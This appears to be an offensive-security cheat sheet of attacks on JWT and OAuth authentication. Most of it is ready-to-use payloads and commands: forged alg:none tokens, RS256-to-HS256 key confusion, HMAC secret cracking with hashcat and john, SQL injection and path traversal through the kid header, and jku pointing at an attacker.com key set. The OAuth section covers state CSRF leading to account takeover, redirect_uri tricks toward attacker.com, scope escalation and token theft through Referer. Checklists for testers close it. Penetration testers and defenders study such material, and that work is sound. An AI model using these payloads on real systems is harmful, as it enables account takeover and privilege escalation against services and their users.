jwt-oauth-token-attacks

{
  "role": "admin",
  "isAdmin": true,
  "userId": OTHER_USER_ID,
  "email": "victim@target.com",
  "sub": "admin",
  "permissions": ["admin", "write", "delete"],
  "tier": "premium"
}

# Burp JWT Editor / python-jwt attack:
# Step 1: Decode header
echo '{"alg":"HS256","typ":"JWT"}' | base64 → old_header
 
# Step 2: Create new header
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'
 
# Step 3: Modify payload (e.g., role → admin):
echo -n '{"userId":1234,"role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-'
 
# Step 4: Construct token with empty signature:
HEADER.PAYLOAD.
# OR:
HEADER.PAYLOAD

python3 jwt_tool.py JWT_TOKEN -X a
# → automatically generates alg:none variants

# Step 1: Obtain public key (PEM format)
# From: /api/.well-known/jwks.json → convert to PEM
# From: /certs endpoint
# From: OpenSSL extraction from HTTPS cert
 
# Step 2: Use jwt_tool to sign with HS256 using public key as secret:
python3 jwt_tool.py JWT_TOKEN -X k -pk public_key.pem
 
# Step 3: Manually:
# Modify header: {"alg":"HS256","typ":"JWT"}
# Sign entire header.payload with HMAC-SHA256 using PEM public key bytes

# hashcat (fast):
hashcat -a 0 -m 16500 "JWT_TOKEN_HERE" /usr/share/wordlists/rockyou.txt
 
# john:
echo "JWT_TOKEN_HERE" > jwt.txt
john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
 
# jwt_tool:
python3 jwt_tool.py JWT_TOKEN -C -d /path/to/wordlist.txt

secret, password, 123456, qwerty, changeme, your-256-bit-secret,
APP_NAME, app_name, production, jwt_secret, SECRET_KEY

{"alg":"HS256","kid":"' UNION SELECT 'attacker_controlled_key' FROM dual--"}

{"alg":"HS256","kid":"../../../../dev/null"}

{"alg":"HS256","kid":"../../../../etc/hostname"}

{"alg":"RS256","jku":"https://attacker.com/malicious-jwks.json","kid":"my-key"}

# Generate RSA key pair:
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem
 
# Create JWKS:
python3 -c "
import json, base64, struct
# ... (use python-jwcrypto or jwt_tool to export JWKS)
"
 
# Host malicious JWKS at attacker.com/malicious-jwks.json
# Sign JWT with attacker's private key
# Server fetches attacker's JWKS → verifies with attacker's public key → accepts

python3 jwt_tool.py JWT -X s -ju https://attacker.com/malicious-jwks.json

Attack:
1. Click "Login with Google" → OAuth starts → intercept the redirect URL:
   https://accounts.google.com/oauth2/auth?client_id=APP_ID&redirect_uri=https://target.com/callback&state=MISSING_OR_PREDICTABLE&code=...

2. Get the authorization code (stop before exchanging it)
3. Craft URL: https://target.com/oauth/callback?code=ATTACKER_CODE
4. Victim clicks that URL → their session binds to ATTACKER's OAuth identity
→ ACCOUNT TAKEOVER

Original: redirect_uri=https://target.com/callback
Attack:   redirect_uri=https://target.com/callback/../../../attacker.com
          redirect_uri=https://attacker.com.target.com/callback
          redirect_uri=https://target.com@attacker.com/callback

Whitelist: https://target.com/callback
Attack: https://target.com/callback%2f../admin (URL path confusion)
        https://target.com/callbackXSS (prefix match only)

redirect_uri=http://localhost/steal
redirect_uri=urn:ietf:wg:oauth:2.0:oob  (mobile apps)

Authorized scope: read:profile
Attack: During token exchange, add scope=admin or scope=read:admin
→ Does server grant requested scope or issued scope?

https://target.com/dashboard#access_token=TOKEN
→ HTML loads: <img src="https://analytics.third-party.com/track">
→ Referer: https://target.com/dashboard#access_token=TOKEN
→ analytics.third-party.com sees token in Referer logs

/var/log/nginx/access.log
/var/log/apache2/access.log
ELB/ALB logs (AWS)
CloudFront logs
CDN logs

□ Decode header + payload (base64 decode each part)
□ Identify algorithm: HS256/RS256/ES256/none
□ Modify payload fields (role, userId, isAdmin) → change signature too
□ Test alg:none → remove signature entirely
□ If RS256: find public key → attempt RS256→HS256 confusion
□ If HS256: brute force with hashcat/rockyou
□ Check kid parameter → try SQL injection + path traversal
□ Check jku/x5u header → redirect to attacker JWKS
□ Test token reuse after logout
□ Test expired token acceptance (exp claim)
□ Check for token in GET params (log leakage) vs header

□ Check for state parameter in authorization request
□ Test redirect_uri manipulation (open redirect, prefix match, path confusion)
□ Can tokens be exchanged more than once?
□ Test scope escalation during token exchange
□ Implicit flow: check for token in Referer/history
□ PKCE: can code_challenge be bypassed or code_verifier be empty?
□ Check for authorization code reuse (code must be single-use)
□ Test account linking abuse: link OAuth to existing account with same email
□ Check OAuth provider confusion: use Apple ID to link where Google expected